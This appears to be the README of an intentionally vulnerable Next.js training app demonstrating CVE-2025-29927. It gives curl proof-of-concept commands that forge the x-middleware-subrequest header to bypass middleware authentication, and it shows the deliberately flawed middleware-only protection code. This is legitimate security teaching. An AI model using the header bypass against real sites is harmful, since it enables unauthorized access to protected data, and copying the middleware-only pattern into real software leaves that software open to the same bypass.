gitgudkrish/cve-2025-29927-nextjsEducational demo of CVE-2025-29927, a critical Next.js middleware authentication bypass. Includes a vulnerable admin panel, proof-of-concept exploit commands, and mitigation guidance for security training.
WARNING: This application is intentionally vulnerable. For educational and authorized security research purposes only. Do NOT deploy to a public server.
This app demonstrates CVE-2025-29927, a critical authentication bypass vulnerability in Next.js middleware (CVSS 9.1). The application simulates a realistic corporate admin panel for the fictional company "Himalaya Tech Pvt. Ltd." — making the impact of the bypass visually compelling.
All employee records, API keys, database credentials, and other "sensitive" data shown are entirely fictional and mock — generated for educational demonstration only.
| Field | Detail |
|---|
| CVE ID | CVE-2025-29927 |
| Severity | Critical (CVSS 9.1) |
| Affected | Next.js ≤ 14.2.29, Next.js ≤ 15.2.2 |
| Fixed in | Next.js 14.2.30, 15.2.3 |
| Type | Middleware authentication bypass via HTTP header manipulation |
Next.js uses an internal HTTP header x-middleware-subrequest to track recursive middleware
calls and prevent infinite loops. In vulnerable versions, an attacker can forge this header
in an external request. When the header is present and matches the middleware's identifier,
the Next.js runtime skips the middleware entirely, including all authentication logic
defined within it.
Any application that relies solely on middleware.ts to protect routes (a common and
recommended Next.js pattern) is vulnerable. An unauthenticated attacker can access any
protected page by simply adding one HTTP header.
curl -v http://localhost:3000/admin
# → 307 Redirect to /login
curl -v \
-H "x-middleware-subrequest: middleware" \
http://localhost:3000/admin
# → 200 OK — full admin dashboard HTML returned, no authentication required
# Admin users page
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users
# System settings with "production credentials"
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings
Add the request header x-middleware-subrequest: middleware to any request to /admin/*
and the middleware check will be skipped.
middleware.ts is the sole protection mechanism:
// middleware.ts
export function middleware(request: NextRequest) {
if (pathname.startsWith("/admin")) {
const token = request.cookies.get("auth-token")?.value;
if (!token || token !== "valid-session-xyz123") {
return NextResponse.redirect(loginUrl); // ← this entire function is skipped
}
}
return NextResponse.next();
}
The page components themselves (e.g. app/admin/page.tsx) contain no auth checks —
intentionally, to mirror real-world applications that follow the middleware-only protection
pattern.
npm install
npm run dev
The app will be available at http://localhost:3000.
| Route | Auth Required | Description |
|---|---|---|
/ | No | Public landing page |
/login | No | Login form |
/admin | Yes* | Admin dashboard with sensitive data |
/admin/users | Yes* | User management |
/admin/settings | Yes* | System settings & credentials |
*Protected by middleware only — bypassed by CVE-2025-29927.
[email protected]Admin@2024This application is provided for educational purposes only, specifically for demonstrating the real-world impact of CVE-2025-29927 in an ethical security course context. All data (employee records, API keys, credentials) is entirely fictional. Do not use this demo application or the techniques demonstrated here against systems you do not own or have explicit permission to test.